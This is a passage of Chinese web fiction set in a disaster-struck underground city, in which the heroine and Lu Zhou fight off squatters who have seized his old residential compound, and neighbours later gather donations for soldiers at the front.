小孩并不安分，一路上都在用他的小短腿踹陆昼，可惜他的腿太短，陆昼伸长胳膊，把他稍微提远一些，他就碰不到陆昼了，最后连个鞋印都没能在陆昼身上留下。 可能是因为衣服的口袋被刀片划开了，陆昼回来的时候，脸还有点臭。 秦小薇：“那小孩会进监狱吗？对了，这边有少管所吗？” 陆昼不满：“秦小薇，我才是苦主，正常人现在应该关心我有没有受伤……” 秦小薇翻了个白眼：“就你刚刚卸人下巴那利落劲，你能受伤就有鬼了！” 陆昼：“……” 两人正说着话，忽然听到远处有人发出一阵尖叫，秦小薇听着众人的议论声，才知道远处一栋开裂的房子上掉了一大块水泥下来，有个路人刚好被砸到了，当场脑袋开花。 秦小薇：！！！ 一阵骚乱过后，路人避开了那栋“危房”，继续往前走，至于那个被砸得脑袋开花的倒霉蛋……他躺在地上，气息奄奄，一直张着嘴求救，但是并没有人管他。 秦小薇被路人的冷漠震惊了：“他们不打120吗？就让他这么在地上躺着？” 陆昼：“习惯就好。” 秦小薇：“……”并不想习惯。 秦小薇拿出手机，拨通了医院的电话，但接电话的护士了解了具体的情况后，却问她可不可以为病人提供治疗所需的医疗耗材。 她这才知道，这边的医院，病人去看病，是要自己带药、针头、缝合线和输液管的，问就是医院没有库存。 不过，因为这边的医院也是公益性质的，病人带着药过去处理伤口，很多小伤，医生都是不收费的。 这一刻，秦小薇对于网上说的“南湖区和江安区两座地下城是后娘养的”这句话有了更清晰的认知。 最基本的温饱、医疗、住宿安全都没办法保证，难怪他们会拼了命地往红浦区挤！ 她纠结了一会，还是回复说她可以提供医疗耗材，让对方派救护车过来，但是很可惜，就算她想救人，也是有心无力——可能是伤到了什么致命部位，那个伤员在救护车来之前就断气了。 秦小薇：“……” 刚刚才眼睁睁地看着一个大活人被从天而降的水泥块砸死 ，秦小薇也不敢在这边乱晃，便和陆昼说，她想回红浦区。 这边太臭了，陆昼也很不习惯，他没有闲逛的心思，两人一拍即合，回招待所接了狗，就开车回去了。 见吉普车的后备箱是空的，秦小薇还拿了些土豆白菜扔后面，打算带回去当员工福利。 刚到家，秦小薇的手机上就弹出了几条消息。 【肖琳琳：我们车队到松城了，这边的地下城还有人，我打听到了一个大消息！】 【范槿：快说！】 【范槿：猫猫吃瓜.jpg】 【肖琳琳：据说南边根本就没被丢核|弹，就最开始的时候有个镇被炸了，但是我们也炸回去了……之前说那边被丢了核弹有辐射什么的，都是假消息！】 【范槿：啊？可是我亲耳听到之前那批难民说他们是从丝城来的，隔壁的湖市被敌人丢了核|弹，整座城市都要被移平了……】 【肖琳琳：我的消息是和湖市人打听到的，他们还是一周前才过来的，说是天天都有轰炸机在头顶上飞，他们担心轰炸机把地下城的出入口给炸塌了，他们堵在里面出不来，就偷偷摸摸跑了，实际上，那边压根就没人因为核辐射去世……】 【范槿：唉，官方也不发正式的新闻，我现在也搞糊涂了，不知道谁说的才是真的！】 秦小薇：不是宁市官方不发新闻，是因为离得太远了，他们也不知道战区到底什么情况…… 【秦小薇：琳琳，队伍今天还顺利吗？】 【肖琳琳：还行，就是走一段就要停下来铲雪！太冷了！】 【秦小薇：队伍里没人生病吧？】 【肖琳琳：还没有，军队每天都给我们发姜汤防寒，我们自己也煮了不少。】 【肖琳琳：不和你们说了，手机的温度快要坚持不住关机了，咱们晚点再聊。】 见肖琳琳那边似乎一切都好，秦小薇暂时放心了。 在家里待了一会儿，等身体暖和了，秦小薇就把带回来的菜搬去了健身房，让员工们自己分了。 傍晚的时候，她接到了陆昼的电话，说南湖区那边送货的人到了。 秦小薇赶去了出入口，直接用半头猪结算了他们今天上午扫的货。 之后，两人又出去转了一圈，让秦小薇把买来的零件收进空间里。 秦小薇：“我看母猪那肚子，应该又怀小猪崽了，要不要找唐医生看一看？还有，上次杀的几头猪消耗得差不多了，咱们再杀几头吧！” 陆昼点头道：“你挑个时间！我找老唐和杀猪匠上门……还是在你家动手？” 秦小薇想了想，问他：“上次的阵仗太大了！有点太引人注意了……可以换个地方吗？” 陆昼的手指在方向盘上敲击了一会儿，片刻之后，他开口道：“那换我之前住的小区吧！那边现在没有人住，猪再怎么叫，都不会有人过来。” 秦小薇：这话怎么听着怪怪的？ 第124章 第124章募捐（双更合一）…… 秦小薇点点头,她想了想：“明天周末，健身房估计会有点忙，我得在店里帮忙,下周一过去吧！要是周一下雪,就往后推……” 陆昼应了一声：“好。” 第二天中午,范槿趁着中午空闲的时候，来健身房找秦小薇一起吃饭。 自从范妈妈加入车队后,范爸爸一下子没了做饭的动力,天天都是糊弄着做饭，不是水煮玉米就是水煮土豆。 以前煮土豆大米,他还会弄点菌菇肉酱让范槿拌饭，现在就是搞点咸菜随便对付一下，偶尔还会直接让范槿啃能量饼干。 她家一直是范爸爸掌勺,范槿平时在家,最多就是帮着打打下手，她也就会把食材扔锅里熬点汤，汤煮好了,放多少盐和味精还得其他人帮忙把关。 让她自己做饭，饭菜的味道全看天意…… 范槿这个吃货,哪能受得了这样的苦,为了自己的口腹之欲，中午经常过来找秦小薇蹭饭，还会“偷”范爸爸带回来的蘑菇,拿给秦小薇，让她帮忙加工。 秦小薇伸长脖子看了眼她的饭盒，一盒土豆大米饭，饭里面的水放多了,看起来有点干不干稀不稀的。 还有一盒蒸韭菜，可能是因为蒸久了，从翠绿色变成了暗绿色，看起来像是剩菜……一看就是范槿自己的手艺。 秦小薇看得直皱眉：“饭饭，你怎么把韭菜蒸了？这做法也太奇怪了！” “上次炒得太干了，我换种做法……”她夹了口韭菜，然后“yue”了一下，“唉，我妈什么时候回来啊？这个家不能没有她！薇薇，你今天带了什么菜？让我尝一口！” 说着，她把自己的饭盒往秦小薇的方向推了推：“薇薇，尝尝我的手艺！” 秦小薇战术后仰：“我今天带了不少菜，够咱们两个人吃了……” 虽然蒸韭菜很难吃，但在接连的天灾下，范槿也养成了不浪费食物的好习惯，她最后还是皱着眉，把自己蒸的韭菜吃完了。 吃完饭后，两人又聊了会儿天，范槿在巡逻队工作，每天都能碰到很多新鲜的八卦。 范槿：“……我今天和队友去Y区巡逻了，我到现在才知道，那边竟然还有个幼儿园！简直开了眼界！” 秦小薇不明所以：“幼儿园怎么了？A区不也有幼儿园吗？” 范槿：“那家幼儿园只对领导家的孩子开放！超级豪华！育才路那边的幼儿园就只有教室……但我今天去的那家幼儿园，有一整个室内游乐场！玩具也超级多！还有点心水果什么的……” 秦小薇倒是没太大惊小怪，穿越这么久，她已经见识过各种各样的“特权”了，她现在面对这种事，已经能做到波澜不惊了。 不过说到豪华幼儿园……范槿要是去富人区看到那边的学校，估计会更震惊吧！ 秦小薇：“你今天怎么去那了？那边有人犯事吗？” 范槿：“有个妈妈看那家幼儿园条件好，就找关系把她女儿塞进去了，没想到负责她女儿的班主任是个势利眼，看那小姑娘的家长不是什么领导，从她身上捞不到什么好处，就一直打压、PUA她，小朋友也变得越来越内向……” “她妈妈知道真相后，就闹去幼儿园了，还和老师动了手，有个小朋友很害怕，就用电话手表报了警，我们刚好在附近巡逻，上面就让我们过去看看……” 秦小薇皱眉：“竟然对小朋友下手？那个班主任也太没师德了！最后你们怎么处理的？” 范槿：“本来是都要抓去监狱的，但后来园长出面和稀泥了，就私了了……老师道歉、扣工资，小朋友换班级，幼儿园还免了她的学费。” 秦小薇：“就只扣工资？那老师这么对孩子，还让她继续教孩子？” 范槿：“听说她好像是什么领导的亲戚，可能是看在领导的面子上吧？园长说再给她一次机会，再有下次就辞退她……” 秦小薇听了一肚子八卦，直到范槿上班的时间要到了，她才放她离开。 白天在健身房招待客人、练散打，晚上回家后，还要被别墅区的小朋友拉着“联络感情”，秦小薇这个周末，过得十分“充实”。 时间很快就到了周一，一大早，陆昼就来敲她家的门了。 空间里太“暖和”了，骤然把猪放出来，它们可能受不了外面的低温，尤其是母猪，肚子里还揣着崽子，秦小薇不想拿母猪来冒险…… 他们商量着，先把母猪和要杀的猪送去陆昼他们小区，杀猪匠和唐医生后面再来。 一个小时后，他们到了陆昼的小区附近，这边并没有扫雪车，但却有一条没有覆盖积雪的水泥路从小区里蜿蜒而出，马路上有很多杂乱的脚印，甚至还能看到三五成群、结伴往外走的行人。 秦小薇：“陆昼，你不是说你们小区的住户都搬出来了吗？” 陆昼皱眉：“这些人不是原本的住户……” 他又朝着保安亭的方向看了看，眉头皱得更紧了：“保安也不见了！” 保安亭大门 外的积雪已经快一人高了，一看就很久没人出入过了。 秦小薇：“你们还留了保安看家？” 陆昼点头：“留了七个保安，还留了医院的病房给他们住……” 他握着方向盘，继续往小区里面开，吉普车的车速很慢，堪称龟爬，离近以后，秦小薇摘下雪镜，隔着车窗，观察着路上的行人。 外面太冷，这些人都裹得十分严实，连眼睛都遮住了，但看他们身上的衣物，确实不像是小区的原住民。 至少，能住这个小区的，不会连雪镜都买不起，要拿夏天戴的透明防晒帽挡风雪。 秦小薇还注意到，听到车子的引擎声之后，不少人都停下脚步，盯着他们，还有人直接朝着小区里跑去，大喊着什么…… 陆昼单手把着方向盘，他另一只手放在座位下面，已经握住手|枪了。 陆昼提醒她：“把武器拿出来防身……” 秦小薇应了一声，借着背包的遮掩把射钉枪从仓库里拿了出来。 陆昼又用眼神指了下一旁的手机：“帮我给老唐和雷虎打个电话……” 秦小薇见他两只手都被占着，便依言拿起了手机，但非常可惜，外面温度太低，他的手机已经被冻关机了。 她拿出自己的手机看了看，她的手机因为一直放在口袋里，还没关机。 秦小薇：“我应该有唐医生的电话……陆昼，你记得那个雷虎的电话吗？” 陆昼：“……不记得，先联系老唐吧！” 唐医生还没出发，听到陆昼要放他鸽子，他也没生气。 挂断电话后，秦小薇看向陆昼：“你们小区好像被其他人占了……咱们要不直接报警吧？” 她刚刚打电话的时候，观察了一下陆昼他们小区，每栋楼的透明连廊里，都可以看到来回走动的人影。 显然，这个小区已经被外来的难民占了。 车子开进小区之后，有几个准备外出的人调转了脚步，朝着他们围拢过来，可能是因为现在外面很乱，他们所有人外出的时候，手上都拿着棍棒之类的东西当武器。 看到这些人拿着武器朝着车子围拢过来，秦小薇心里不免有点忐忑。 陆昼摇头：“这里离地下城太远了，警察不会出警的。” 意思就是只能联系他自己的人脉，才能叫到人过来帮忙！ 秦小薇立刻把手伸进衣服里，把后腰上的暖宝宝撕下来贴在他的手机后面，又把他的手机揣进口袋里。 秦小薇提议：“那咱们先回去？等叫了人再来？” 陆昼扫了眼外面的人，声音很冷静：“先看看……” 秦小薇：“……” 车子很快在小区诊所门口停了下来，诊所门口外面挂着厚厚的门帘，把诊所里面挡了个严严实实。 两人还没下车，就有个穿着橙色棉衣的男人敲了下他们的车窗，那人冲着他们勾了下手指，示意两人下车，在他身后，还站着十几个拿着武器的高大男人。 他身上的衣服应该是件女装，衣服绷得紧紧的，拉链都快撑变形了，看起来有些怪异…… 陆昼降下车窗：“干什么？” “下来！下来！”隔着口罩和大风，男人的声音听起来有些含糊，但秦小薇依旧能听出来，他的态度非常不客气。 陆昼没有动，只抬头盯着对方，他的眼眸隐藏在雪镜后面，让人读不出他此时的情绪。 “MD，叫你下来没听到吗？”男人把胳膊伸进车里，想要从里面打开车门，把陆昼拖下来。 “砰——”陆昼举起左手，对着他的胳膊就是一枪。 男人惨叫一声，跪倒在地，橙色的棉衣顿时氤氲出一片深色的痕迹，鲜红的血液落在雪地上，开出点点血梅。 原本围过来的其他人，见陆昼手里有枪，还这么果断地动手了，都下意识后退了几步。 陆昼打开车门，一脚踢开跪在雪地里的男人下了车，他没管拦车的其他人，绕到车子的另一边，示意秦小薇也下车。 然后……他就带着她，大摇大摆地进了诊所。 秦小薇都被他的嚣张震惊到了，这么多人围着他们，他一点都不担心、不害怕吗？ 刚拉开门帘，秦小薇的眉头就皱了起来，原本干净整洁的大厅，此时完全变成了凶案现场，瓷砖和墙面上都是干涸的血迹。 导诊台边上，还躺着一具保安的尸体，现在温度太低了，保安的尸体并没有腐烂，他还保持着死前的表情，他眼球突出，死死瞪着前方，像是看到了什么恐怖的东西…… 可能是因为隔着口罩，也可能是因为这些血迹早已干涸，秦小薇并没有闻到血腥味，但面前的场景，依旧让她觉得十分不适。 陆昼只看了一眼，就合上了帘子，准备折回车上。 但他们回去的路，却被一群人堵住了。 “废了我兄弟一只手，就想这么跑了？”为首的人握着一根可以当拐杖的棍子在地上敲了敲。 可能是因为太冷了，他的动作有些僵硬。 陆昼举起手，黑洞洞的枪｜口对准了对方的脑袋：“确定要拦我们？” 见识过他之前动手的速度，周围其他人下意识后退了几步，被枪指着的领头人，看起来也有些紧张。 领头人：“都后退，给这位兄弟让个路！” 说着，他主动往边上挪了几步，像是要给他们让路。 见老大都主动让路了，他的小弟也纷纷后退让路。 就在两人穿过他们，要走过去的时候，领头人举起手上的木棍，对着秦小薇的脑袋，猛地挥下去：“都给我上！” 其余人得到了信号，纷纷朝着两人举起手上的武器。 秦小薇早就防备着，见此，立刻举起手上的射钉枪，连发好几枚钉子…… 不过，陆昼的动作比她更快，他一枪爆头，那人的木棍还没接触到她的脑袋，就直接倒了下去。 他又一脚踢向另一人的小腿，把人踹倒了，手上的动作也没停，接连几枪，一下子废了好几人，等子｜弹用完了，他又从腰间摸出另一支枪，无缝衔接…… 秦小薇的速度稍慢一些，但也放倒了好几个，不过她不像陆昼，枪枪爆头，她都是冲着人家的膝盖、大腿去的，主要是让这些人失去行动力…… 转瞬之间，包围他们的人就倒下了一片，陆昼没有恋战，拽着秦小薇的胳膊，就往吉普车的方向拔足狂奔。 他飞快拉开车门上了车，秦小薇则上了后座。 吉普车一改之前的龟速，直接冲了出去。 车内的报警器一直在响，提醒他们，车门没有关好。 车子开得太狂野，秦小薇甚至都没来得及系安全带，就一脑袋撞到驾驶座的座椅上，还好她戴了帽子，座椅又是皮质的，并没有撞伤…… 秦小薇：“……”算了，现在在逃命，忍忍吧！ 她艰难地坐直了身体，伸手把大开的车门合上。 正准备系安全带，车子又开始加速，她脑袋又撞到座椅上了…… 她捂着脑袋往外看了一眼，这才发现，外面有人试图用身体拦车，被陆昼直接撞飞了。 秦小薇：“……”最近一直下暴雪，她都快忘了，坐这家伙的车有多考验心脏！ 身后的某栋建筑，不断有人从里面跑出来，拿着武器，追在车子的屁股后面…… 吉普车的车速实在是太快，身后那些“小黑点”很快就消失不见了，陆昼又往前开了一段，才停车。 秦小薇松了口气：“陆昼，有没有人说过你开车很恐怖？” 感觉坐他开的车，比和那些人打一架，还要累…… 陆昼：“他们都说我车技很好。” 秦小薇：“……” 陆昼：“刚刚没受伤吧？” 秦小薇不确定道：“应该没有吧？刚刚太混乱了！” 陆昼皱眉：“回去好好检查一下，受伤了记得去医院……” 秦小薇不满：“你还好意思说！要是咱们发现不对劲的时候就跑了，也就不用和他们动手了！” 陆昼沉默片刻，开口道：“我下次注意。” 他主动“认错”，她也不好再多说什么，她从口袋里掏出陆昼的手机，等了好一会，手机才重新开机。 秦小薇把手机还给他：“你要联系人吗？” 陆昼应了一声，接过手机拨通了一个电话：“喂，是我……我刚刚回了趟家，发现咱们小区被人占了，情况不太好，保安应该都死了……有几户重新搬回去了？我不知道，我刚下车就被人拦住了，费了点子弹才出来……嗯，知道了，我联系他……” “……老雷，我们小区被人占了，保安都死了，还有几户应该也死了……总人数不确定，能打的至少超过四十人，都住三栋……” 之后，他又打了两个电话，就重新启动了车子，把车开回了地下城。 秦小薇：“你之前开那么慢，是在找他们的‘老巢’？” 陆昼应了一声。 秦小薇：“我们现在回地下城等消息？” 陆昼：“你要是想折回去，再和他们动一次手，我也可以成全你。” 秦小薇：“别！我这人最讨厌麻烦……” 能住在陆昼他们小区的，身份原本就不简单，知道有几户人家搬回去之后就失联了，再加上陆昼提供的情况，安全区非常重视这件事，当天就派了一队武警过去。 当然，那些人能杀了保安和重新搬回去的住户占了小区，自然不是什么好人，面对武警，他们也丝毫不手软，举起棍棒、菜刀，就开始“捍卫家园”。 当然，双方武力值差距太大，对方很快就输了。 经过审讯，众人得知，这些人都是市政之前安排在地面上的难民，他们嫌弃市政给他们安排的房子，早就看中了这个小区。 但小区里之前住满了人，家家户户都配了保镖，他们根本不敢强占。 偶然发现小区里的人都搬走之后，部分难民就集结了之前的同伴，杀了保安，占了小区。 之后，他们发现，有些人家家里竟然还存着不少物资，水电也可以正常使用，便开始向其余的难民“出租”小区里的房子，小区里的人这才越来越多。 小区一公里外就有一辆移动物资车，不下雪的时候，里面的难民可以结伴过去买能量饼干和土豆大米。 因为前几个月，地下城又是闹流感，又是食物不足，原本就自顾不暇，根本分不出人手管外面的难民，竟然也没人发现他们悄悄换了房子。 后面，小区里某些住户见战争没有蔓延过来，又不习惯地下城的居住环境，就从地下城搬了回来——不是所有人都和陆昼一样，地面地下都有好几套别墅，有些人转移到地下城，就只能借住在亲戚朋友家，非常不方便。 见自家的房子被人占了，他们自然要赶这些强占了他们房子的“租客”走，就和里面的“租客”产生了冲突…… 万万没想到，就这样丢了命！ 因为第一家搬回来的住户带回来了不少物资，小区的“管理者”开始把那些搬回来的“原住民”当肥羊。 后面，只要有人开着车进小区，就会在第一时间被“处理掉”。 因为小区的住户身份特殊，后面，还有人来富人区做了统计，看他们有没有什么东西留在家里。 有些人家底厚，根本不在意那些仨瓜俩枣，三两句就把警察打发了。 有些人觉得要分散风险，留了不少东西在家里，听说自家小区已经被占了好几个月，顿时什么都顾不上，心急火燎地赶回了家。 当然，他们存的食物基本上都被那伙人吃完了，各种物资也被霍霍得差不多了，就算想让人家赔……那些人都要被枪毙了，也没办法赔。 最后，就只找回了一部分没人要的古董。 陆昼也在家里存了一些食物应急，不过他家在地下城有两栋别墅，重要的东西都搬来地下城了，倒没有损失太多。 知道事情的经过之后，秦小薇只能感叹，还是红浦区比较安全，没事还是别出去了。 因为杀猪的动静实在是太大了，那几头猪，他们最后还是没找杀猪匠，秦小薇和陆昼在空间里烧了水，自己把猪给杀了。 因为第一次杀猪，他们的动作非常不熟不练，秦小薇还弄了自己一身血…… 一转眼一个月的时间过去了，因为一直都待在地下城，秦小薇的生活还算平静。 这天晚上，秦小薇刚吃完晚饭，她家门铃就被人按响了，她看了下监控，是两个把自己裹得严严实实的陌生女人。 秦小薇去开了门。 见她开了门，两人主动做自我介绍：“你好，我们是社区的，请问你是这家的房主吗？” 秦小薇点头。 其中年龄稍大的那位继续开口道：“请问你们家有多余的物资吗？衣服、食物、药品都可以，我们正在为战区的战士募捐……” 秦小薇知道，之前同城APP上也有人组织募捐，最后却被查出来是个骗子，她便直接问道：“可以看一下你们的证件吗？” 第125章 第125章热情（双更合一）…… 听到秦小薇的问题,她们也没有生气，之前开口的那个年龄稍大的女人更是直接从包里拿出工作证。 秦小薇扫了一眼工作证，上面的照片是本人,盖的章看起来也不像是假的。 秦小薇：“我需要收拾一下,你们晚点再过来可以吗？” “可以可以！”两人欣喜地连连点头,一直没说话的年轻女人直接从包里拿出了登记本，登记了秦小薇的信息和门牌号。 “我们今天就是来咨询一下你们有没有捐款的意向,收东西之前,会发短信通知你的……” 两人离开后，秦小薇拿出手机,打开同城APP搜索了一下。 她发现根本没有网友发帖提到募捐的事，按照以往的经验，市政干了什么事,同城APP上大概率会立刻冒出一堆帖子讨论这件事。 这很不正常！ 但那两人的证件看着也不像是假的……难道是工作人员打着募捐的幌子招摇撞骗？还是那是假证？ 给陆昼发了条消息。 【秦小薇：社区有工作人员来我家敲门,说是给战区募捐的，是你们安排的吗？】 消息刚发出去，她就收到了陆昼的回复。 【陆昼：财政安排的,上面派了任务，他们不想全出,就想在咱们这边薅一点。】 秦小薇：“……” 实行粮食管制已经两年多了,在没派车队外出搜寻物资之前，公租房那边的普通人甚至连能量饼干和土豆大米都不够吃。 要说地下城谁家还有存粮和物资，那必然是 富人区这些有钱人。 当然,市政真要是组织普通人捐物资，按照前段时间同城APP上网友的反馈，大抵也能收到不少物资。 不过，薅完这一波之后,有些人的生活大概会变得十分窘迫，市政不薅他们也很正常…… 【秦小薇：你们和战区联系上了？那边情况怎么样？咱们真的被扔核|弹了吗？】 虽然她并不是这个世界的原住民，但秦小薇也不希望军队吃败仗。 【陆昼：没有，我们已经打去敌人的老巢了。】 看到陆昼的消息，秦小薇兴奋地在原地转了几个圈。 防线守住了，普通人也就不用再经历战争了，陆昼记忆中的未来，应该算是彻底被改变了吧？ 【秦小薇：太好了！】 【秦小薇：战区需要什么物资？】 【陆昼：主要缺药，现在地下城的生产线都在生产战区需要的药品。】 【陆昼：那边查到了我们搬了风城的物资，才联系了我们。】 【陆昼：食物和保暖的物资应该也缺……你量力而行。】 秦小薇：这是不是就叫天下没有免费的午餐？ 他们前不久才利用搬回来的生产线解决了流感危机，还给地下城的普通人接种了流感疫苗。 现在……不就是付报酬的时候了？ 秦小薇打开仓库，清点了一遍物资，虽然她每个月都会给孤儿院捐半车菜，三五不时还给健身房的员工弄一些员工福利，上次车队出门的时候也给他们准备了不少物资…… 但农场面积大，陆昼之前准备的机器人也十分能干，再加上黑土地有黑科技加持，这些物资给出去之后，她空间里还有很多存货。 她进了趟空间，收拾出了一堆物资，棉布、棉花、能量饼干……都是同城APP上能买到的物资。 为了不引起怀疑，这些物资并不多，只占了两个大箱子。 秦小薇还另外准备了两大车蔬菜和肉，打算之后问问陆昼，看看他能不能帮忙运作一下，匿名捐出去。 第二天早上，她还没睡醒，床上的德牧就冲着楼下的方向“汪汪”叫了起来。 “怎么了？”秦小薇猛然睁开眼睛。 她仔细听了听，楼下……似乎有人在按门铃？ 她拿出手机，打开监控看了看，是住她家后面的一对爷爷奶奶，经常和她换菜吃，秦小薇和他们家的关系还不错，肖琳琳住的单人房，就是找他们的儿媳妇帮忙弄的。 她拍了拍德牧的脑袋：“朔月，别叫了，是住后面的孙爷爷和张奶奶，不是坏人。” 担心老俩口过来找她是有什么急事，秦小薇跳下床，套上外套，踩着拖鞋下楼开了门，下楼的时候，她还不忘伸手抓了抓头发，把睡乱的头发抓顺，让自己看起来没那么不修边幅。 现在才凌晨五点，地下城还没开灯，就算富人区这边装了路灯，光线也有些昏暗。 秦小薇：“孙爷爷、张奶奶，你们有什么事吗？” 张奶奶：“小秦啊！你的车能不能借我们用一下？家里的车被我儿子儿媳开去南湖区了，我们有点急事要出门，但是没车用……” 秦小薇点头：“行啊！张奶奶，你们等会，我回屋拿钥匙……” 拿车钥匙的时候，秦小薇还从空间里提了桶汽油出来。 因为大雪封路，运输不方便，地下城的汽油管制比食物管制更加严格，汽油只供给官方的车，普通人想弄到汽油，要么和市政某些部门搭上关系弄高价油，要么消耗之前的囤货。 不过对普通人来说要费大力气才能弄到的汽油，在别墅区，几乎家家户户都有存货。 两位老人没要她拿出来的汽油，说家里有很多。 给钥匙的时候，她随口问了句这么早司机上班了没，得知他们家司机和保镖都跟着他们的儿子儿媳去南湖区了，年过七十，还有心脏病的孙爷爷竟然打算自己开车离开地下城。 秦小薇顿时心里一惊，她当即收回了那只拿着钥匙的手。 秦小薇：“孙爷爷，现在外面天都没亮，你们开车不安全……你们要去哪？不远的话，天亮之后我送你们过去吧！” 两个老人家年纪这么大了，一直被家人保护得很好，降温之后，就没独自外出过，要是他们开着她的车出了什么事……秦小薇就不是帮邻居的忙，而是和邻居结仇了！ 张奶奶闻言立刻点头道：“不远，就我之前住的小区，开车半个小时应该能到……小秦，那就麻烦你了！我家老头子十来年没摸过方向盘了，说实话，坐他开的车，我这心里还真没底……” 秦小薇：“……”十来年没开过车，竟然还敢在这种冰天雪地的环境下上路，孙爷爷也真是猛！ 秦小薇和两人约好了出门的时间，关门后，她回屋睡了十分钟回笼觉，才起床洗漱吃早饭。 等到六点半的时候，她才去隔壁找两位老人，除了两位老人，他们的大孙子孙永也跟在他们后面。 孙永今年17岁，还是个大学生，目前在地下城上大学。 他一身的名牌衣服、名牌鞋，看着有些张扬。 因为家里赞助了学校一些器材，学校的领导和老师格外照顾他，他才大一，就能跟着导师做课题了，平时还得忙学生会的事，忙得很。 放在天灾之前，他毕业之后履历大概率会很漂亮…… 秦小薇听两位老人提过孙永很多次，但也只和他打过几次照面，都没说过话。 秦小薇主动和三人打了招呼：“张奶奶，您孙子今天不去上学吗？” 孙永：“今天上午没课。” 四人朝着电梯的方向走去，还没出地下城，孙永就冷得打寒战了。 孙永：“外面怎么这么冷？” 张奶奶连忙从提着的袋子里拿出一件长及脚踝的黑色羽绒服：“大永，和你说了外面冷，你还不信，快把衣服套上……” 秦小薇看了他一眼：“你是不是没出过地下城？” 孙永：“我爸妈不准我出去，说在外面待一会，就能把人冻伤截肢……我还以为他们太夸张了！” 秦小薇：“……”不知者无畏啊！ 不过，除了他之外，公租房那边还有很多普通人也被保护得很好，极寒天气都大半年了，他们甚至都没出过地下城一次！ 两位老人倒是穿得很多，目前状态看着还行。 等到了停车场，看到秦小薇那和周围豪车格格不入的“破烂”越野车之后，孙永的眉头都快拧成疙瘩了：“你这车……是从废车场捡的吧？还能开吗？不会出车祸吧！” 秦小薇：“……” 看在他妈妈帮过自己的份上，秦小薇没和他计较：“我这车就外边看着破了点，其实买回来没两年，要不是之前被冰雹砸过，现在还和新的一样，你们放心坐，肯定不会出问题……” 张奶奶拍了下孙永的背：“大永，怎么跟姐姐说话的呢！都还没出发，说什么车祸，太不吉利了！” 随即，她又看向秦小薇：“小秦，小孩子不会说话，你别和他计较！” 秦小薇说了句“没事”，就让众人上了车。 可能是因为不信任秦小薇的越野车和开车技术，上车后，孙永一直握着头顶的车把手，一副生怕会出车祸的模样。 还让秦小薇让出方向盘，让他来开。 被她轻飘飘两句“你成年了吗？有驾照吗？”堵了回去。 虽然她的车技比不上陆昼，但她觉得自己还是比较靠谱的，至少，她驾龄也有好几年了，也从没出过车祸！ 车子上路没多久，孙永又开始抱怨：“你车里的空调是不是坏了？怎么还是这么冷？” 秦小薇：“没坏，外面温度太低了，铁皮不保温，你换成几百万的豪车也是一样！” 孙永嘟囔了一句：“怎么可能？你坐过几百万的车吗？” 秦小薇：“……” 说实话，要不是张奶奶和孙爷爷一直在后面替他道歉说好话，他这个态度，秦小薇肯定要怼回去。 唉，有这么个孙子，两个老人家也是辛苦了！ 他们和陆昼住一个小区，目的地也是陆昼他们小区，两位老人是战争的消息传过来之后才搬进地下城的，他们搬来的时候家里还留了不少物资。 不过那些物资，前段时间，被霸占小区的那些人糟蹋得差不多了，那些人被赶出小区后，他们的东西找回来了一部分，但因为被糟蹋得很厉害，他们的儿子儿媳就没把找回来的东西搬回地下城，东西全都留在家里。 因为小区的住户能量很大，强占房子的事发生之后，他们又找了一批保安帮忙看房子，地下城还会定期派警察过去巡逻，这一个多月，倒是没人再敢去住小区里的空屋。 孙爷爷：“还好小秦跟着出来了，外面连个路牌都没有，这要让我们老两口自己来，肯定找不着路……” 张奶奶：“本来地震后宁市的变化就大，这被雪一埋，就更认不出来喽！” 孙永：“爷爷，咱们可以跟着导航走！” 秦小薇：“大永，你带暖宝宝了吗？” 孙永：“没有，怎么了？你冷了，要贴暖宝宝？” 秦小薇：“不是，只是想提醒你，现在这天气，出门手机不贴暖宝宝，会自动关机。” 手机关机了，导航自然也就用不了了。 孙永：“……” 秦小薇的车牌号之前登记过，保安也没拦她，直接就放他们进去了。 小区里的电梯都断电了，秦小薇停好车之后，他们爬楼梯上了楼，两个老人家年龄大了，爬两层楼就要歇一会儿。 有一层楼的窗户没关严实，地上积了很多雪，特别滑，张奶奶差点滑倒，还好秦小薇走在后面，及时扶住了她。 打开门之后，张奶奶夫妻俩看着门内的场景，顿时心疼得不行。 孙爷爷：“哎哟！我的黄花梨沙发！这可是专门找老师傅用好料打的……” 孙爷爷口中沙发，此时只剩几块靠背了，从上面的痕迹来看，它应该是被人劈了当柴烧了。 原本干净的墙面，此时也被弄得脏兮兮的，秦小薇还瞟到了一些凝固的鼻涕…… 张奶奶：“这画怎么就剩半边了？这还是大永第一幅拿了奖的画！那些人可真不是个东西，把家里糟蹋成这个样子！” 秦小薇和孙永生怕两位老人受到刺激出事，连忙安慰他们：“孙爷爷，罪魁祸首都枪毙了，他们都受到了惩罚，您别难过了！” 孙永：“奶奶，家里还有颜料，我再给您画一幅一模一样的！到时候就摆在您床头，您想怎么看就怎么看……” 孙爷爷：“他们死了有什么用！我这家具，还不是回不来了！” 两人好一番安慰，夫妻俩才平静下来，进屋开始收拾东西。 他们之前在家里留了不少衣服，很多衣服就穿过一两次，有些甚至连吊牌都没拆，除了放久了一些，和新的也没什么差别。 夫妻俩这趟回来，原本是想着把那些旧衣服收拾收拾，捐给军区的战士御寒，但上楼后才发现，有些衣服虽然被找回来了，但衣服被难民们连着穿了好几个月，不仅弄脏了，还有一股难闻的馊臭味…… 让他们来说，就算是捐赠，他们也没脸捐这些“破东西”，老人家顿时又是一顿长吁短叹。 秦小薇蹲下来，翻了下堆积在卧室里的脏衣服。 这些衣服大多用的都是好料子，只是看着有点脏，找人洗一洗，烘干了，应该还能穿！ 秦小薇便冲着两个老人开口道：“张奶奶、孙爷爷，我看这衣服洗洗还能穿，要不咱们收拾一下，带回地下城找人洗洗？等烘干了再捐出去……” 张奶奶皱眉：“这衣服都脏成这样了，还能洗出来？” 秦小薇：“……应该可以？多用点洗涤剂泡一泡，肯定能行，只要您愿意花钱，肯定有人能干成这事？” 因为地下城很多东西都是二次利用，就连电暖厂的燃料，有一部分都是前些年掩埋的垃圾，所以大家并不像天灾之前那样，排斥用二手的东西。 在秦小薇的劝说下，夫妻俩决定试试，找出里面没被穿坏的衣服，拿回去洗干净再捐出去。 之前看孙永的表情，秦小薇还以为他是个事精大少爷，原本以为他不会碰地上这堆臭烘烘的脏衣服，但出乎她的意料。 他干活干得十分认真，挑选衣服的时候，还会替战区的战士们考虑。 颜色太鲜艳的不要，可能会影响战士们隐蔽；尺寸太小的不要，要是拿过去穿不了，就是浪费燃油和运输机的位置；春秋装和夏装也不要…… 